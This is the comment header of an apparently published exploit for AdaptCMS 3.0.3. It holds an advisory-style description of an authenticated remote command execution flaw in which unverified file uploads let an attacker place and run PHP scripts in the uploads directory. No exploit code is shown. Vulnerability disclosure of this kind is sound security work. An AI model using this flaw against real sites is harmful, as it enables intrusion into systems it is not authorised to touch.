# AdaptCMS 3.0.3 Remote Command Execution Exploit
#
#
# Vendor: Insane Visions
# Product web page: http://www.adaptcms.com
# Affected version: 3.0.3
#
# Summary: AdaptCMS is a Content Management System trying
# to be both simple and easy to use, as well as very agile
# and extendable. Not only so we can easily create Plugins
# or additions, but so other developers can get involved.
# Using CakePHP we are able to achieve this with a built-in
# plugin system and MVC setup, allowing us to focus on the
# details and end-users to focus on building their website
# to look and feel great.
#
# Desc: AdaptCMS suffers from an authenticated arbitrary
# command execution vulnerability. The issue is caused due
# to the improper verification of uploaded files. This can
# be exploited to execute arbitrary PHP code by creating
# or uploading a malicious PHP script file that will be
# stored in '\app\webroot\uploads' directory.
#
# Tested on: Apache 2.4.10 (Win32)
# PHP 5.6.3
# MySQL 5.6.21
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5220
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php
